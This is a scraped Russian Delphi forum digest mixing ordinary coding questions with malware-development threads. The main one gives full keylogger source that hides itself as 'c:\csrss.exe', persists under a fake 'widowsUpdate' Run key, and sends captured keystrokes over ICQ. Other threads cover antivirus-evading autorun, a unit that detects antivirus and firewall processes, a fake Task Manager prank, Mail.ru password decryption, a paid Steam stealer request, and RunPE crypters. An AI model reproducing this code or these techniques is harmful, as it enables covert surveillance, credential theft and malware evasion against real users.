delfcode

автозапуск незаметно для антивируса?

AligatorBkmz — Tue, 29 Mar 2016 13:39:02 GMT

Данный код явно вызывает недовольство у антивируса Avast во время его исполнения, и выдает некрасивое предупреждение:

Код

procedure Autorun(Flag:boolean; NameParam, Path:String);
var Reg:TRegistry;
begin
  if Flag then
  begin
     Reg := TRegistry.Create;
     Reg.RootKey := HKEY_CURRENT_USER;
     Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', false);
     Reg.WriteString(NameParam, Path);
     Reg.Free;
  end
  else
  begin
     Reg := TRegistry.Create;
     Reg.RootKey := HKEY_CURRENT_USER;
     Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false);
     Reg.DeleteValue(NameParam);
     Reg.Free;
  end;
end;

Как бы запустить прогу автоматом не вызывая недовольств антивируса?

Узнаем установленный АВ и фаирвол

d4rkzy — Tue, 29 Mar 2016 01:59:07 GMT

Код

unit unitAvs;

interface

uses
   Windows,
   sysutils,
   TLHelp32;

const
   Procesos:  array[0..15] of String = ('avguard.exe',
      'ashdisp.exe',
      'avgcc.exe',
      'bdss.exe',
      'spider.exe',
      'avp.exe',
      'nod32krn.exe',
      'cclaw.exe',
      'dvpapi.exe',
      'ewidoctrl.exe',
      'mcshield.exe',
      'pavfires.exe',
      'almon.exe',
      'ccapp.exe',
      'pccntmon.exe',
      'fssm32.exe');
   NombreDeAntivirus: array[0..15] of String =('AntiVir',
      'Avast Antivirus',
      'AVG Antivirus',
      'BitDefender',
      'Dr.Web',
      'Kaspersky Antivirus',
      'Nod32',
      'Norman',
      'Authentium Antivirus',
      'Ewido Security Suite',
      'McAfee VirusScan',
      'Panda Antivirus/Firewall',
      'Sophos',
      'Symantec/Norton',
      'PC-cillin Antivirus',
      'F-Secure');

   Firewalls:  array[0..14] of String =  ('issvc.exe',
      'vsmon.exe',
      'cpf.exe',
      'ca.exe',
      'tnbutil.exe',
      'avp.exe',
      'mpfservice.exe',
      'npfmsg.exe',
      'outpost.exe',
      'tpsrv.exe',
      'pavfires.exe',
      'kpf4ss.exe',
      'persfw.exe',
      'vsserv.exe',
      'smc.exe');
   NombreDeFirewall: array[0..14] Of string =('Norton Personal Firewall',
      'ZoneAlarm',
      'Comodo Firewall',
      'eTrust EZ Firewall',
      'F-Secure Internet Security',
      'Kaspersky Antihacker',
      'McAfee Personal Firewall',
      'Norman Personal Firewall',
      'Outpost Personal Firewall',
      'Panda Internet Seciruty Suite',
      'Panda Anti-Virus/Firewall',
      'Kerio Personal Firewall',
      'Tiny Personal Firewall',
      'BitDefender / Bull Guard Antivirus',
      'Sygate Personal Firewall');

   function ObtenerAvs(): String;
   function ObtenerFirewall(): String;

implementation

Function Scan(tipo: integer): String;
var
   cLoop  :Boolean;
   CapProcesos:THandle;
   L  :TProcessEntry32;
   i  :integer;
Begin
   Result := 'NO';
   CapProcesos := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS or TH32CS_SNAPMODULE, 0);
   L.dwSize := SizeOf(L);
   cLoop := Process32First(CapProcesos, L);
   while cLoop do
   begin
     if tipo = 1 then
   for i := 0 to 15 do
   if LowerCase(L.szExeFile) = Procesos[i] then
     begin
     If Result = 'No' then //Osea que no ha copiado nada a result
     Result := NombreDeAntivirus[i]
     else //si es diferente de 'No encontrado' es porque ya copi? un av antes
     Result := Result + ' \ ' + NombreDeAntivirus[i] //copie un separador y el otro antivirus
     end;
     if tipo = 2 then
   for i := 0 to 14 do
   if LowerCase(L.szExeFile) = Firewalls[i] then
     begin
     if Result = 'No encontrado' then
     Result := NombreDeFirewall[i]
     else
     Result := Result + ' \ ' + NombreDeFirewall[i];
     end;

     cLoop := Process32Next(CapProcesos, L);
   end;
   CloseHandle(CapProcesos);
end;

Автор DeadLine

Кейлогер с управлением по icq (по исходнику gravitas)

link993 — Tue, 29 Mar 2016 01:26:44 GMT

Я думаю исходник этого будет полезен некоторым пользвателям. За основу взят VCL кейлогер gravitas,a. На сайте есть исходники кейлогера. На форму положил календарь чтоб антивирусы не орали ( не работает ). Также взял баг dolphin,a с именем программы.

Описание тут:

Код:

Code

unit Unit1;

interface

uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls, ExtCtrls, Registry, ICQClient;

type
    TForm1 = class(TForm)
      Timer1: TTimer;
      Memo1: TMemo;
      ICQClient1: TICQClient;
      procedure Timer1Timer(Sender: TObject);
      procedure FormCreate(Sender: TObject);
      procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
    private
      { Private declarations }
    public
      { Public declarations }
    end;

var
    Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if getasynckeystate($10)<>0 then   memo1.Text:=memo1.Text + '[S]';
if getasynckeystate($1b)<>0 then   memo1.Text:=memo1.Text + '[esc]';
if getasynckeystate($20)<>0 then   memo1.Text:=memo1.Text + ' ';
if getasynckeystate($2e)<>0 then   memo1.Text:=memo1.Text + '[delete]';
if getasynckeystate($41)<>0 then   memo1.Text:=memo1.Text + 'a';
if getasynckeystate($42)<>0 then   memo1.Text:=memo1.Text + 'b';
if getasynckeystate($43)<>0 then   memo1.Text:=memo1.Text + 'c';
if getasynckeystate($44)<>0 then   memo1.Text:=memo1.Text + 'd';
if getasynckeystate($45)<>0 then   memo1.Text:=memo1.Text + 'e';
if getasynckeystate($46)<>0 then   memo1.Text:=memo1.Text + 'f';
if getasynckeystate($47)<>0 then   memo1.Text:=memo1.Text + 'g';
if getasynckeystate($48)<>0 then   memo1.Text:=memo1.Text + 'h';
if getasynckeystate($49)<>0 then   memo1.Text:=memo1.Text + 'i';
if getasynckeystate($4b)<>0 then   memo1.Text:=memo1.Text + 'k';
if getasynckeystate($4c)<>0 then   memo1.Text:=memo1.Text + 'l';
if getasynckeystate($4d)<>0 then   memo1.Text:=memo1.Text + 'm';
if getasynckeystate($4e)<>0 then   memo1.Text:=memo1.Text + 'n';
if getasynckeystate($4f)<>0 then   memo1.Text:=memo1.Text + 'o';
if getasynckeystate($50)<>0 then   memo1.Text:=memo1.Text + 'p';
if getasynckeystate($51)<>0 then   memo1.Text:=memo1.Text + 'q';
if getasynckeystate($52)<>0 then   memo1.Text:=memo1.Text + 'r';
if getasynckeystate($53)<>0 then   memo1.Text:=memo1.Text + 's';
if getasynckeystate($54)<>0 then   memo1.Text:=memo1.Text + 't';
if getasynckeystate($55)<>0 then   memo1.Text:=memo1.Text + 'u';
if getasynckeystate($56)<>0 then   memo1.Text:=memo1.Text + 'v';
if getasynckeystate($57)<>0 then   memo1.Text:=memo1.Text + 'w';
if getasynckeystate($58)<>0 then   memo1.Text:=memo1.Text + 'x';
if getasynckeystate($59)<>0 then   memo1.Text:=memo1.Text + 'y';
if getasynckeystate($5a)<>0 then   memo1.Text:=memo1.Text + 'z';
if getasynckeystate($30)<>0 then   memo1.Text:=memo1.Text + '0';
if getasynckeystate($31)<>0 then   memo1.Text:=memo1.Text + '1';
if getasynckeystate($32)<>0 then   memo1.Text:=memo1.Text + '2';
if getasynckeystate($33)<>0 then   memo1.Text:=memo1.Text + '3';
if getasynckeystate($34)<>0 then   memo1.Text:=memo1.Text + '4';
if getasynckeystate($35)<>0 then   memo1.Text:=memo1.Text + '5';
if getasynckeystate($36)<>0 then   memo1.Text:=memo1.Text + '6';
if getasynckeystate($37)<>0 then   memo1.Text:=memo1.Text + '7';
if getasynckeystate($38)<>0 then   memo1.Text:=memo1.Text + '8';
if getasynckeystate($39)<>0 then   memo1.Text:=memo1.Text + '9';
if getasynckeystate($70)<>0 then   memo1.Text:=memo1.Text + '[f1]';
if getasynckeystate($71)<>0 then   memo1.Text:=memo1.Text + '[f2]';
if getasynckeystate($72)<>0 then   memo1.Text:=memo1.Text + '[f3]';
if getasynckeystate($73)<>0 then   memo1.Text:=memo1.Text + '[f4]';
if getasynckeystate($74)<>0 then   memo1.Text:=memo1.Text + '[f5]';
if getasynckeystate($75)<>0 then   memo1.Text:=memo1.Text + '[f6]';
if getasynckeystate($76)<>0 then   memo1.Text:=memo1.Text + '[f7]';
if getasynckeystate($77)<>0 then   memo1.Text:=memo1.Text + '[f8]';
if getasynckeystate($78)<>0 then   memo1.Text:=memo1.Text + '[f9]';
if getasynckeystate($79)<>0 then   memo1.Text:=memo1.Text + '[f10]';
if getasynckeystate($7a)<>0 then   memo1.Text:=memo1.Text + '[f11]';
if getasynckeystate($7b)<>0 then   memo1.Text:=memo1.Text + '[f12]';
if getasynckeystate($61)<>0 then   memo1.Text:=memo1.Text + '1';
if getasynckeystate($62)<>0 then   memo1.Text:=memo1.Text + '2';
if getasynckeystate($63)<>0 then   memo1.Text:=memo1.Text + '3';
if getasynckeystate($64)<>0 then   memo1.Text:=memo1.Text + '4';
if getasynckeystate($65)<>0 then   memo1.Text:=memo1.Text + '5';
if getasynckeystate($66)<>0 then   memo1.Text:=memo1.Text + '6';
if getasynckeystate($67)<>0 then   memo1.Text:=memo1.Text + '7';
if getasynckeystate($68)<>0 then   memo1.Text:=memo1.Text + '8';
if getasynckeystate($69)<>0 then   memo1.Text:=memo1.Text + '9';
if getasynckeystate($6f)<>0 then   memo1.Text:=memo1.Text + '/';
if getasynckeystate($6a)<>0 then   memo1.Text:=memo1.Text + '*';
if getasynckeystate($6b)<>0 then   memo1.Text:=memo1.Text + '+';
if getasynckeystate($6d)<>0 then   memo1.Text:=memo1.Text + '-';
end;

procedure TForm1.FormCreate(Sender: TObject);
var reg: tregistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('c:\csrss.exe'),True);
SetFileAttributes('c:\csrss.exe', faHidden);

ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_HIDE);

if 2=2 then

begin

    ICQclient1.UIN:=strtoint('585629992');//Присваем UIN будещего бота

    ICQclient1.Password:='lK7he5Ia '; //Присваем Пароль будещего бота

    ICQclient1.Login();
     Application.ShowMainForm := false;

if 1=1 then
begin
reg := tregistry.create;
reg.rootkey := HKEY_CURRENT_USER ;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run', false);
reg.writestring('widowsUpdate', 'c:\csrss.exe');
reg.closekey;
reg.free;
end;

end;
end;
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
begin

If msg= 'send' then ICQClient1.SendMessage(StrToInt(UIN), memo1.Text);
If msg= 'time' then ICQClient1.SendMessage(StrToInt(UIN), 'Не пашет время! :-(');
end;

end.

Скачать папку с исходниками также можно ниже... ОСТОРОЖНО ТАМ И ПРОГРАММА ЛЕЖИТ!

keylogger

HTTqp — Tue, 29 Mar 2016 01:00:07 GMT

Пишу клавиатурный шпион, полностью с нуля ну как полагается, столкнулся с вопросом. Решил задать. Как лучше реализовать запить в файл, сначала реализовал запись через промежуток времени каждые 10 секунд, потом подумал правильно ли, есть еще идея записывать лишь после нажатия ПКМ (правой кнопки мыши). Так сказать чтобы быть увереным что пользователь ввел все что надо. Либо запись после нажатия системных клавиш. Как лучше реализовать.

И еще вопрос как реализовать удаление букв при нажатии например Back Space (ну тут понятно удаляется последний символ), а например при нажатии Insert или Del? буду благодарен заранее, за ответы.

Ваши любимые приколы

Neo — Thu, 24 Mar 2016 04:24:01 GMT

Наверняка каждый из нас писал что-то вроде программ приколов. Давайте здесь выложим угарные программки, с помощью которых можно будет поржать над юзерами Ну,я первый))).
Вот програмка - фейковый диспетчер, при запуске переименовывает taskmgr.exe на taskmgrexe.old и вместо оригинального вставляет
подставной. После этого прога грузит проц на 100,тем самым это вынуждает юзера вызвать диспетчер.

Вирус индукт в аттаче!

Пошаговое руководство к исполняемым файлам

Anton93 — Wed, 16 Mar 2016 16:11:07 GMT

Авторизация в админке

xXxSh@dowxXx — Wed, 10 Feb 2016 19:01:00 GMT

Приветствую всех, давно не виделись :)

Поставил я недавно перед собой задачку программным образом подключиться к админке роутера, для начала решил сделать это простыми методами, первое что пришло в голову:
- Telnet
- IdHTTP1 (стандартный компонент)
- WebBrowser1 (стандартный компонент)

Вариант с использованием Telnet я отбросил сразу так как он слишком топорный, следующее по списку было использовать "IdHTTP1" для коннекта к админке через:

но при анализе трафика снифером, оказалось что роутер в ответ постоянно возвращает

и тут я вспомнил про стандартные скрипты управления роутером и команду авторизации:

для простоты эксперимента я воспользовался стандартным компонентом "WebBrowser1", и впринципе все заработало как нужно, но тут есть один недостаток, дело в том что когда пароль не правильный, или если в нем ошибка, то выскакивает стандартное Windows'кое окно авторизации где нужно вручную ввести логин и пароль, из за этого окна вся дальнейшая работа программы останавливается!

В интернете искал информацию о том как запретить вывод данного диалогового окна, или как автоматически ответить программе отменой на данное окно, но ничего так и не нашел, может быть кто то сможет подсказать как решить данную проблему?

PS: прикрепил исходники, может пригодится еще кому.

Сканеры без отправки файла разработчикам АВ

Anton93 — Sat, 06 Feb 2016 14:56:46 GMT

[NBe48iuY3W 100]Список безопасных рабочих сканнеров

NoDistribute (бесплатно - 10 проверок в день, платно - без ограничений)
AVDetect (платно)

Сканнеры с репутацией и проверенные временем. От себя добавлю: пользовался - сливов не заметил[/NBe48iuY3W]

Свернуть все окна

ThundeRLorD — Thu, 28 Jan 2016 16:42:25 GMT

Сворачивает все окна кроме нашей программы

Код

function EnumMiniProc(Wnd : HWND; Param : Longint) : Boolean; stdcall;
begin
  Result := True;
  if (Wnd = Param) or (Wnd = Application.Handle) then
    Exit
  else if isWindowVisible(Wnd) and not isIconic(Wnd) and isWindow(Wnd) then
    ShowWindow(Wnd, SW_MINIMIZE);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  EnumWindows(@EnumMiniProc, Handle);
end;

Отлов ответа из cmd

tatsu — Mon, 25 Jan 2016 12:19:51 GMT

Всем доброго времени суток. Собственно задача: Выполнять досовую команду, но ответ писать не в консоль приложения, а в переменную. Нагуглил функцию. Работает. Однако есть 1 нюанс. Функция возвращает байты точь в точь, поскольку использует именованный канал. Кирилическая винда в командную строку выплёвывает как правило ответ в кодировке 866. Однако на деле имеем вместо текста кучу знаков вопросов и всё. Для отладки выплюнул ответ в файл. Вооружлся notepad++ и hex-редактором. Сравнил байты, оказалось - инглишный текст соответствует ASCII, а вот там где должный быть кирилические символы - байты не известной кодировки. Подскажите, как привести это в читабельный вид. Функция:

Код

function GetDosOutput(
      CommandLine: string; Work: string = 'C:\'): string;
var
  SA: TSecurityAttributes;
  SI: TStartupInfo;
  PI: TProcessInformation;
  StdOutPipeRead, StdOutPipeWrite: THandle;
  WasOK: Boolean;
  Buffer: array[0..255] of Char;
  BytesRead: Cardinal;
  WorkDir: string;
  Handle: Boolean;
begin
  Result := '';
  with SA do begin
    nLength := SizeOf(SA);
    bInheritHandle := True;
    lpSecurityDescriptor := nil;
  end;
  CreatePipe(StdOutPipeRead, StdOutPipeWrite, @SA, 0);
  try
    with SI do
    begin
      FillChar(SI, SizeOf(SI), 0);
      cb := SizeOf(SI);
      dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
      wShowWindow := SW_HIDE;
      hStdInput := GetStdHandle(
          STD_INPUT_HANDLE); // не переадресовывать stdinput
      hStdOutput := StdOutPipeWrite;
      hStdError := StdOutPipeWrite;
    end;
    WorkDir := Work;
    Handle := CreateProcess(nil, PChar('cmd.exe /C ' + CommandLine),
                            nil, nil, True, 0, nil,
                            PChar(WorkDir), SI, PI);
    CloseHandle(StdOutPipeWrite);
    if Handle then
      try
        repeat
          WasOK := ReadFile(StdOutPipeRead, Buffer, 255, BytesRead, nil);
          if BytesRead > 0 then
          begin
            Buffer[BytesRead] := #0;
            Result := Result + Buffer;
          end;
        until not WasOK or (BytesRead = 0);
        WaitForSingleObject(PI.hProcess, INFINITE);
      finally
        CloseHandle(PI.hThread);
        CloseHandle(PI.hProcess);
      end;
  finally
    CloseHandle(StdOutPipeRead);
  end;
end;

Delphi в Fasm XOR

d4rkzy — Tue, 29 Dec 2015 19:32:26 GMT

DecryptByteArray2(Массив_байтов; Результат_дешифровки_в_массиве; ключ_шифрования);

Перепишите пожалуйста эти функции под fasm

События компонентов в консольном приложении

tatsu — Mon, 21 Dec 2015 14:31:45 GMT

Всем привет, пилю консольный IRC-клиент. Столкнулся с проблемой - описание событий.
При наличии формы она является классом и процедуры, назначенные на обработку событий, декларируются в описании класса, как его методы.
Однако в консольном приложении для использования компонента я добавляю его в перечень uses.
Подскажите, как при этом нужно обрабатывать события компонента?
С вызовом методов - ничего сложного, обращаюсь через переменную экземпляра класса, а вот с событиями - ляпсус вышел.

Обьем exe в XE3

toorook — Mon, 21 Dec 2015 06:19:01 GMT

Всем Hi. Итак, до вчерашнего для работал в XE, все гуд. Сегодня поставил XE3, стал компилировать один и тот же код. Почему в XE мой exe весил 840kb, а в XE3 1,63mb ???
Я сильно разочарован... Может есть возможность сделать его меньше, без упаковщиков? Может где-то можно настроить это?

Помогите разобраться

Born — Tue, 15 Dec 2015 10:00:43 GMT

Здравствуйте.
Работаю с компонентом ZipForge.
Компонент архивирует файлы,как оп маске так и по имени.
Но оп маске он только одно расширение находит и архивирует.
Вот пример кода:

Код

procedure TForm1.Button1Click(Sender: TObject);
begin
ZipForge1.BaseDir:='D:\';
ZipForge1.FileName:=('D:\TestRar.zip');
ZipForge1.OpenArchive(fmCreate);
ZipForge1.BaseDir:='D:\';
ZipForge1.AddFiles('*.txt');//Если сюда ещё добавить маску '*.pdf' тогда он в обще не архивирует .
ZipForge1.CloseArchive;
showmessage('Запаковано');

end;

end.

Есть у этого компонента свойства FileMask ,добавлял расширения но результата ноль.
Помогите разобраться с компонентом...

Mail.ru Agent расшифровка паролей

VANS-SOFT — Wed, 18 Nov 2015 17:24:46 GMT

Пароли в реестре по адресу: HCU\Software\Mail.Ru\Agent\magent_logins{N} где {N} зависит от версии агента и принимает значения 2 или 3.
Ключ шифрования тута: C:\Users\VANS-SOFT\AppData\Roaming\Mra\Update\ver.txt (win7)
Алгоритм шифрования: blowfish, режим не известен.

Использую DCPCrypt под это дело, но MD5 пароля получить не могу т.к. по не ведомой мне причине выводиться разная ересь. Режим шифрования ECB или CBC я не знаю.

Нужна помощь в решение данного вопроса. мб есть наработки у кого то?

Копирование во все папки

virusik83 — Thu, 12 Nov 2015 18:18:35 GMT

Форум: Вопросы по Delphi
Автор темы: virusik83
Автор последнего сообщения: dolphin
Количество ответов: 1

ВОЗМОЖНО?

Born — Mon, 02 Nov 2015 16:05:07 GMT

Здравствуйте.
Вообщем есть исходник запуска безопасного режима..
Исходник рабочий.

Собственно вопрос:Если в исходник добавить код который будет добавлять программу в ауторан.
При запуске программы запустится безопасный режим,программа добавится в ауторан без прав админа?
Я имею виду ветку HLKM.

Написать стиллер паролей от Steam

Slash — Sun, 01 Nov 2015 14:53:44 GMT

Ребята, раньше был файл ClientRegistry.blob в котором хранился пароль, сейчас Valve что-то поменяли и структура хранения пароля видимо другая. Подкиньте код или напишите для человека программу платно, контакты дам. Нужно срочно

if <50 then

MAS — Sun, 01 Nov 2015 12:59:11 GMT

Привет всем, давно тут не появлялся,
я хочу написать код проверки числа, например: если ровно 50 или больше (число в переменной string) то нечего не делает, если меньше выводим messagbox , я знаю как сделать , но я каждые цифры расписываю, так не удобно, так

if (a < b) and (a < c) then
l := a
else if (b < a) and (b < c) then

Объясните покажите

Как в hllp вирусе неизменять иконки жертв?

XDXDXD — Sat, 31 Oct 2015 20:32:57 GMT

Форум: Вирусология Delphi
Описание темы: заражаемые файлы палятся
Автор темы: XDXDXD
Автор последнего сообщения: Гнилушка
Количество ответов: 9

Dll + Exe

Wine — Thu, 22 Oct 2015 13:13:45 GMT

Форум: Вопросы по Delphi
Автор темы: Wine
Автор последнего сообщения: Slash
Количество ответов: 4

НЕубиваемый процесс

cool1 — Sat, 10 Oct 2015 13:17:13 GMT

Как создать неубиваемый процесс? Например все вы знаете антивирус ESS (Eset Samrt Security) да и обычный НОД 32 если вы в Диспетчере задач Windows захотите убить этот процесс у вас не получиться! Как это сделать?

Удаление программы Trustedinstaller

Swan — Sun, 04 Oct 2015 17:21:43 GMT

Как можно её удалить, у кого идеи есть?

Добавлено (22.06.2013, 16:00)
---------------------------------------------
Или как можно удалить hal.dll, что бы эта программа не блокировала?

reverse dns lookup

black_catt — Sun, 04 Oct 2015 12:53:28 GMT

Подскажите как сделать, куда копать?
без обращений к посторонним сервисам,
Я так понимаю что нужно свой ДНС сервер напрячь 53й порт, удп протокол
но что спросить чтобы я ему скормил ip а он мне отдал список доменов подвязаных к ней...

RunPE криптер эффективность?

d4rkzy — Mon, 21 Sep 2015 14:53:26 GMT

Вот сижу и думаю. Многие криптеры используют RunPE - тобишь запуск файлов из памяти. Ясное дело что сперва все эти файлы шифруется всякими des, RC4, xor алгоритмами, но - действительно ли это эффективный метод? Почему антивирусы все еще не поставят какую нибудь заглушку на createprocess или createthread в suspend моде? Они же могут мониторить все исходящие апи вызовы? Вообще-м вопрос - это правда что runpe криптеры обходят так называемые проактивные защиты? И кто мне может сказать разницу меж эмуляцией и проактивной защитой? Антон, жду твоего коммена.

Парсинг txt файла

HTTqp — Fri, 18 Sep 2015 09:55:08 GMT

Подскажите как спарсить файл txt при помощи winapi Delphi. Пример, есть файл со следующими данными

Код

Nickname{       "d4rkzy"           }
Pass  {   "hgfh456uh"           }
url {            "https://******.net/****.html"           }

как получить строчку строчку url, а точнее https://******.net/****.html адрес? С использованием только Uses Windows;

Парсинг txt файла

HTTqp — Thu, 17 Sep 2015 09:09:17 GMT

Подскажите как спарсить файл txt при помощи winapi Delphi. Пример, есть файл со следующими данными

Код

Nickname{       "d4rkzy"           }
Pass  {   "hgfh456uh"           }
url {            "https://******.net/****.html"           }

как получить строчку строчку url, а точнее https://******.net/****.html адрес? С использованием только Uses Windows;

Нужен модуль для работы с ZIP или RAR

Anton93 — Wed, 16 Sep 2015 18:29:21 GMT

ребят нужен модуль в котором описаны процедуры для работы с архивами, никаких визуальных компонентов, импортов из вне, и прочего.
порылся в сети, в основном смешанные модули идут. по любому у кого-то здесь есть готовый. Лень самому это все вытаскивать и портировать.
скиньте пожалуйста если не трудно

Добавлено (17.09.2013, 21:06)
---------------------------------------------
допустим чтобы была процедура архивации каталога. чтобы не описывать рекурсивное чтение и передачу местоположения каждого файла

delphi XE7 консольный демон

d4rkzy — Sat, 12 Sep 2015 11:39:09 GMT

Как скрыть консоль у консольного проекта?

Удалил: {$APPTYPE CONSOLE}

Консоль все равно видна.

Поставил ShowWindow(GetConsoleWindow(), 0); при запуске.
Ну в таком раскладе консоль мегает на долю секунду, что не есть корректно.

Как пофиксить?

PACKAGEINFO и DVCLAL

black_catt — Tue, 08 Sep 2015 14:11:44 GMT

Осваиваю тему микроскопического delphi.
Как не создавать ресурсы PACKAGEINFO и DVCLAL
яснопонятно что их можно удалять ресурсэксплорером...